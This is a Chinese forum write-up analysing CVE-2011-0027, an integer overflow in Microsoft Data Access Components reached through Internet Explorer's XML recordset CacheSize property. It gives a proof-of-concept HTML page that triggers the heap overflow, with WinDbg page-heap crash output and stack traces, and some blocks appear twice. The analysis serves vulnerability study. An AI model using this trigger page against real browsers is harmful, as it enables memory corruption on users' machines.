-
-
[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析
-
发表于: 2021-8-1 18:22 11258
-
这篇文章对CVE-2011-0027整数溢出漏洞进行了分析,之前在没有系统看过0day安全之前也曾经分析过一个整数溢出漏洞,只不过导致溢出的运算不太一样,感兴趣的可以去看一下那篇文章。
在分析这个漏洞的过程中,花费精力最多的其实是环境的搭建,因为漏洞已经比较老了,遇到了各种坑。之前的漏洞分析最晚在周四也能完成,这次到周四才把环境搭建好。
本文首先对MDAC进行了简单的介绍,然后花费了一定篇幅说明了搭建环境过程中遇到的各种问题,之后大致按照《漏洞战争》中的流程对漏洞进行了调试分析。总体来说漏洞原理其实并不复杂,只是环境搭建花费了很多时间。
在MDAC处理RecordSet
时,没有正确验证其指定缓冲区大小的CacheSize
属性,如果属性值过大,会导致整数溢出,造成实际分配的空间大小小于原来指定的内存空间。由于漏洞发生在堆上,最终会导致堆溢出。
MDAC全程是Microsoft Data Access Components
,即微软数据库访问组件。它为应用程序访问数据库提供了一个标准的接口。
MDAC在应用程序层使用的编程语言接口叫做ActiveX Data Objects(ADO)
,使用ADO可以建立Connection
对象,表示一个对数据库的会话连接,Connection
对象包含一个Execute
方法,应用程序通过这个方法执行想要的操作。ADO还支持Command
对象,可以使用Command
对象建立一个参数化的命令并执行;Recodset
对象代表的就是数据库中表格形式的数据,Execute
或者Command
执行后返回的数据就是Recordset
格式的,Recordset
对象支持各种用于控制数据的选项。通常来说,Recordset
对象表示的是整行数据,或者一行数据中的其中几列,而访问单独的列要使用Field
对象。虽然通过RecordSet
每次只能访问一行的数据,但是这并不表示每次访问的时候都需要访问一次数据库,RecordSet
可以缓存多行数据,而CacheSize
就表示了它可以缓存的数据大小。
更详细的关于ADO的信息可以查看参考资料3。
在HTML中可以使用<XML>标签插入需要的数据,并提供方法访问这些数据,这一过程实际上就是在使用MDAC对数据库进行访问,这里使用的对象就是上面介绍的ADO。
因此可以在访问XML中的数据时使用我们上面介绍的一些对象和方法的名称,也可以在这一过程中,触发CacheSize
中存在的整数溢出漏洞。
这个东西我搞了一周,终于在周四得到了正确的异常和symbol信息……中间遇到各种问题:操作系统版本的问题、Windbg版本的问题、IE的版本问题、symbol找不到……
但是……
后来发现在Winxp下调试的时候输出的调试信息会和正确的地址有误差,我也不知道是Windbg版本的问题还是符号文件有问题;与此同时,我也发现Win7 64位上面的符号文件是可以正常下载的,wow64.pdb也在正确的位置上,就是不知道为什么会报错。正当我几近绝望的时候,在stackoverflow上面搜索到了这样一条回复:
My Windbg is 6.3.9600. I think you attach to some process, not open a wow64 process dump. If I attach to a wow64 process using 32bit windbg, all the commands can works fine. But when I open a wow64 process dump, both 32bit and 64bit windbg can not work. – Leon Nov 17 '14 at 5:08
感谢Leon,我突然意识到了我的问题,我选择的Windbg的位数可能是错的。因为用的是64位的虚拟机,所以我自然而然的选择了64位的Windbg。最终我安装了32位的Windbg,成功得到了正确的调试信息。
Windbg 位数选择:
以下是调试代码,保存成poc.html:
之前只在分析MS06-055这个漏洞的时候有过调试IE的经历,在已经确认漏洞所在文件名时,可以直接根据漏洞相关信息在Function name
中进行搜索,确定相关函数地址,然后在该地址处下断点进行调试。
在《漏洞战争》中,还讲到了另外一种调试的方法,在谷歌中搜索:【关键词】 site:https://www.geoffchappell.com
我在测试的时候一开始只搜到两个结果,最关键的那个没有搜索到,后来换了一个代理地址,就成功了,(lll¬ω¬)
这样搜索的目的是为了找到在IE中存在的和recordset
有关的类方法,因为需要在对应的方法处设置断点进行调试。
根据搜索结果,得到了三个和recordset
有关的类:
其中CEventObj
是为html中event
对象提供的接口,可以忽略不记,代码中是一个获取recordset
的行为,所以最终要在CGenericElement::get_recordset
和CObjectElement::get_recordset
上下断点。
poc.html打开之后,设置好断点,继续执行,程序断在了CGenericElement::get_recordset
这个函数上,说明代码中localxmlid1 = document.getElementById('xmlid1').recordset;
这个语句对应的是CGenericElement::get_recordset
函数。
先确定一下漏洞发生的位置,还是使用之前漏洞分析时介绍的方法,为iexplor.exe设置页堆:
打开poc.html,根据IE的默认安全设置,此时JS脚本是不会执行的,需要额外的步骤进行确认。这时使用windbg附加到iexplore.exe上,继续执行,再在IE上面"允许阻止的内容",此时就会发生异常:
书中使用!heap -p -a
指令显示出了具体的栈回溯信息,之前进行其他漏洞分析的时候没发现这条指令这么好用,b( ̄▽ ̄)d。
从输出信息中可以看出堆块起始地址是0xeacd298
,大小为0xd64
,所以在写到0xeace000
的时候就超过这个堆块的范围了。
我这里的windbg输出好像是有一些问题,函数名后面的偏移量是错误的,可能我下载的symbol还是有些问题,所以我这里的分析步骤也有一些调整。
从栈回溯中可以看到异常发生在调用CRecordset::MoveFirst
之后,而CRecordset::MoveFirst
又调用了CRecordGroup::AllocateHRowRange
,从函数名看这应该是一个分配空间的函数,所以我打算在这里下一个断点,查看一下这个函数的参数情况。
但是在我在CRecordset::PrepareForFetch+0x000000e2
下断点的时候,程序并没有断在正确的位置,而是断在了
因此我直接断在CRecordset::PrepareForFetch
,F10向前步进了几步,到达了CRecordGroup::AllocateHRowRange
的调用位置:
第一次中断的时候参数不对,继续执行,直到第三次断在这里的时候,查看esp:
可以看到第一个参数是40000358
,就是poc中设置的CacheSize
的大小。
这时候在CRecordGroup::AllocateHRowRange+0x00000085
设置一个断点,继续执行
MpHeapAlloc
的参数应该和HeapAlloc
的参数差不多:
看一下栈中元素的内容:
第三个参数书d64
,就是分配的堆块大小。看一下这个参数是怎么来的:
可以看到edi → eax → eax*4+4 → 0xd64
这样一个计算过程,所以需要判断edi
的值是多少,但是edi
的值已经被MpHeapAlloc
的地址覆盖了,所以需要再次调试。上面也说了,不知道为什么,windbg给出的偏移量是有问题的,所以我直接在CRecordGroup::AllocateHRowRange
下断点,也是第三次中断的时候,单步到达mov eax, edi
这条指令:
可以看到此时edi的值为40000358
,正是我们在代中设置的CacheSize
的值。40000358*4+4=100000d64
,由于寄存器大小只有四个字节,发生了整数溢出,得到的结果就是d64
。
这次漏洞分析学习到的是通过!heap -p -a ADDR
得到栈回溯信息,从而确定堆溢出的位置和具体信息;以及怎样确定IE中编程使用的函数与底层API函数的对应关系,从而便于漏洞分析。还有在分析之前,环境搭建踩到的很多个坑,下次新的环境搭建就会更有经验了。
在整个环境搭建过程了,在网上找到了几个很好的资料和资源,虽然最后可能没用到,但是还是分享给大家,自己也做一个存档:
如果有的下载地址已经无法访问,一定要善用internet archive,有些资源地址有历史快照。
<html xmlns:t
=
"urn:schemas-microsoft-com:time"
>
<script language
=
'javascript'
>
function Start() {
localxmlid1
=
document.getElementById(
'xmlid1'
).recordset;
localxmlid1.CacheSize
=
0x40000358
;
for
(var i
=
0
; i <
0x100000
; i
+
+
) {
localxmlid1.AddNew([
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
], [
"c"
]);
localxmlid1.MoveFirst();
}
}
<
/
script>
<body onLoad
=
"window.setTimeout(Start, 100);"
id
=
"bodyid"
>
<?xml version
=
"1.0"
encoding
=
"utf-8"
standalone
=
"yes"
?>
<XML
ID
=
"xmlid1"
>
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/
>
<
/
Device>
<
/
Devices>
<
/
XML>
<
/
body>
<
/
html>
<html xmlns:t
=
"urn:schemas-microsoft-com:time"
>
<script language
=
'javascript'
>
function Start() {
localxmlid1
=
document.getElementById(
'xmlid1'
).recordset;
localxmlid1.CacheSize
=
0x40000358
;
for
(var i
=
0
; i <
0x100000
; i
+
+
) {
localxmlid1.AddNew([
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
], [
"c"
]);
localxmlid1.MoveFirst();
}
}
<
/
script>
<body onLoad
=
"window.setTimeout(Start, 100);"
id
=
"bodyid"
>
<?xml version
=
"1.0"
encoding
=
"utf-8"
standalone
=
"yes"
?>
<XML
ID
=
"xmlid1"
>
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
/
>
<
/
Device>
<
/
Devices>
<
/
XML>
<
/
body>
<
/
html>
CEventObj::get_recordset
CEventObj::putref_recordset
CGenericElement::get_recordset
CObjectElement::get_recordset
CObjectElement::putref_recordset
CEventObj::get_recordset
CEventObj::putref_recordset
CGenericElement::get_recordset
CObjectElement::get_recordset
CObjectElement::putref_recordset
C:\Documents
and
Settings\test>
"C:\Documents and Settings\test\Desktop\Global Flags.lnk"
-
i iexplore.exe
+
hpa
Current Registry Settings
for
iexplore.exe executable are:
02000000
hpa
-
Enable page heap
C:\Documents
and
Settings\test>
"C:\Documents and Settings\test\Desktop\Global Flags.lnk"
-
i iexplore.exe
+
hpa
Current Registry Settings
for
iexplore.exe executable are:
02000000
hpa
-
Enable page heap
(a14.a2c): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
0000036b
ebx
=
0000035b
ecx
=
00000000
edx
=
00000001
esi
=
0eace000
edi
=
00000000
eip
=
720f746f
esp
=
0848e744
ebp
=
0848e748
iopl
=
0
nv up ei pl nz na po nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010202
mshtml!CImpIRowset::HRowNumber2HROWQuiet
+
0x23
:
720f746f
8906
mov dword ptr [esi],eax ds:
002b
:
0eace000
=
????????
0
:
005
> !heap
-
p
-
a
0eace000
address
0eace000
found
in
_DPH_HEAP_ROOT @ ea21000
in
busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize
-
VirtAddr VirtSize)
ea22750: eacd298 d64
-
eacd000
2000
74be8e89
verifier!AVrfDebugPageHeapAllocate
+
0x00000229
779c02fe
ntdll!RtlDebugAllocateHeap
+
0x00000030
7797ac4b
ntdll!RtlpAllocateHeap
+
0x000000c4
77923b4e
ntdll!RtlAllocateHeap
+
0x0000023a
7171975d
MSDART!MpHeapAlloc
+
0x00000029
715e06e7
msado15!CRecordGroup::AllocateHRowRange
+
0x00000085
715e0650
msado15!CRecordset::PrepareForFetch
+
0x000000e2
716744ae
msado15!CRecordset::MoveAbsolute
+
0x000003e3
716080a5
msado15!CRecordset::_MoveFirst
+
0x0000007d
71677957
msado15!CRecordset::MoveFirst
+
0x00000221
715efde6
msado15!CRecordset::Invoke
+
0x00001560
7182db38
jscript!IDispatchInvoke2
+
0x000000f0
7182da8c
jscript!IDispatchInvoke
+
0x0000006a
7182d9ff
jscript!InvokeDispatch
+
0x000000a9
7182db8a
jscript!VAR::InvokeByName
+
0x00000093
7182d8c8
jscript!VAR::InvokeDispName
+
0x0000007d
7182d96f
jscript!VAR::InvokeByDispID
+
0x000000ce
7182e3e7
jscript!CScriptRuntime::Run
+
0x00002b80
71825c9d
jscript!ScrFncObj::CallWithFrameOnStack
+
0x000000ce
71825bfb
jscript!ScrFncObj::Call
+
0x0000008d
71825e11
jscript!CSession::Execute
+
0x0000015f
7181f3ee
jscript!NameTbl::InvokeDef
+
0x000001b5
7181ea2e
jscript!NameTbl::InvokeEx
+
0x0000012c
718196de
jscript!NameTbl::Invoke
+
0x00000070
71e2aa7b
mshtml!CWindow::ExecuteTimeoutScript
+
0x00000087
71e2ab66
mshtml!CWindow::FireTimeOut
+
0x000000b6
71e56af7
mshtml!OnTimer
+
0x0000003d
71e51e57
mshtml!GlobalWndProc
+
0x00000183
75c06238
USER32!InternalCallWinProc
+
0x00000023
75c068ea
USER32!UserCallWinProcCheckWow
+
0x00000109
75c07d31
USER32!DispatchMessageWorker
+
0x000003bc
75c07dfa
USER32!DispatchMessageW
+
0x0000000f
(a14.a2c): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
0000036b
ebx
=
0000035b
ecx
=
00000000
edx
=
00000001
esi
=
0eace000
edi
=
00000000
eip
=
720f746f
esp
=
0848e744
ebp
=
0848e748
iopl
=
0
nv up ei pl nz na po nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010202
mshtml!CImpIRowset::HRowNumber2HROWQuiet
+
0x23
:
720f746f
8906
mov dword ptr [esi],eax ds:
002b
:
0eace000
=
????????
0
:
005
> !heap
-
p
-
a
0eace000
address
0eace000
found
in
_DPH_HEAP_ROOT @ ea21000
in
busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize
-
VirtAddr VirtSize)
ea22750: eacd298 d64
-
eacd000
2000
74be8e89
verifier!AVrfDebugPageHeapAllocate
+
0x00000229
779c02fe
ntdll!RtlDebugAllocateHeap
+
0x00000030
7797ac4b
ntdll!RtlpAllocateHeap
+
0x000000c4
77923b4e
ntdll!RtlAllocateHeap
+
0x0000023a
7171975d
MSDART!MpHeapAlloc
+
0x00000029
715e06e7
msado15!CRecordGroup::AllocateHRowRange
+
0x00000085
715e0650
msado15!CRecordset::PrepareForFetch
+
0x000000e2
716744ae
msado15!CRecordset::MoveAbsolute
+
0x000003e3
716080a5
msado15!CRecordset::_MoveFirst
+
0x0000007d
71677957
msado15!CRecordset::MoveFirst
+
0x00000221
715efde6
msado15!CRecordset::Invoke
+
0x00001560
7182db38
jscript!IDispatchInvoke2
+
0x000000f0
7182da8c
jscript!IDispatchInvoke
+
0x0000006a
7182d9ff
jscript!InvokeDispatch
+
0x000000a9
7182db8a
jscript!VAR::InvokeByName
+
0x00000093
7182d8c8
jscript!VAR::InvokeDispName
+
0x0000007d
7182d96f
jscript!VAR::InvokeByDispID
+
0x000000ce
7182e3e7
jscript!CScriptRuntime::Run
+
0x00002b80
71825c9d
jscript!ScrFncObj::CallWithFrameOnStack
+
0x000000ce
71825bfb
jscript!ScrFncObj::Call
+
0x0000008d